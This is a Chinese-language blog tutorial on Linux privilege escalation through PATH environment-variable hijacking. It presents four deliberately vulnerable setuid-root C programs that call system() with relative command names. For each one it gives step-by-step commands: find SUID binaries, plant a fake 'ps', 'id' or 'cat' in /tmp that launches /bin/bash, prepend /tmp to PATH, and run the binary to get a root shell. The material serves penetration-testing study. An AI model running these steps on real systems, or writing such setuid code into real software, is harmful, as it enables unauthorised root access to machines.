WEB渗透Linux提权篇-环境变量提权

往期文章

WEB渗透Linux提权篇-提权工具合集-CSDN博客

第一种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("ps");
  }

编译
>gcc demo.c -o shell
>chmod u+s shell
执行./shell  回显ps命令
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell
>cd /tmp
>echo "/bin/bash" > ps
>chmod 777 ps
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell
>whoami
或使用copy命令
>cd /home/raj/script/
>cp /bin/sh /tmp/ps
>echo $PATH
>export PATH=/tmp:$PATH
>./shell
>whoami
或使用ln命令
>ln -s /bin/sh ps
>export PATH=.:$PATH
>./shell
>id
第二种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("id");
  }

编译
>gcc test.c -o shell2
>chmod u+s shell2
提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell2
>cd /tmp
>echo "/bin/bash" > id
>chmod 777 id
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell2
>whoami
第三种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /etc/passwd");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell3
>cd /tmp
>vi cat
内容为/bin/bash
>chmod 777 cat
>ls -al cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell3
>whoami
第四种
复制代码
假设存在一个脚本代码为

  #include<unistd.h>
  void main()
  {
  setuid(0);
  setgid(0);
  system("cat /home/raj/msg.txt");
  }

编译后提权
find / -perm -u=s -type f 2>/dev/null
存在脚本/home/name/script/shell4
>cd /tmp
>vi cat
>chmod 777 cat
>echo $PATH
>export PATH=/tmp:$PATH
>cd /home/raj/script
>./shell4
>whoami
相关推荐
无泊里4 小时前
linux:系统用户命令
linux·运维·服务器
Z3r4y5 小时前
【代码审计】RuoYi-4.2 五处安全问题分析
java·web安全·代码审计·若依4.2·ruoyi-4.2
信创天地5 小时前
RISC-V 2025年在国内的发展趋势
python·网络安全·系统架构·系统安全·运维开发
Fcy6485 小时前
Linux下的项目自动化构建-make\makefile详解
linux·运维·自动化·makefile·make
红树林075 小时前
渗透测试之json_web_token(JWT)
网络协议·安全·web安全
chde2Wang6 小时前
Linux中bash: ls: 未找到命令… 相似命令是: ‘lz‘
linux·运维·bug·bash
楼田莉子6 小时前
Linux学习:进程的控制
linux·运维·服务器·c语言·后端·学习
JiMoKuangXiangQu6 小时前
Linux:文件 mmap 读写流程简析
linux·内存管理·file mmap
北京耐用通信7 小时前
冶金车间“迷雾”重重?耐达讯自动化Profibus转光纤为HMI点亮“透视眼”!
人工智能·物联网·网络协议·网络安全·自动化
unable code7 小时前
攻防世界-Misc-can_has_stdio?
网络安全·ctf·misc·1024程序员节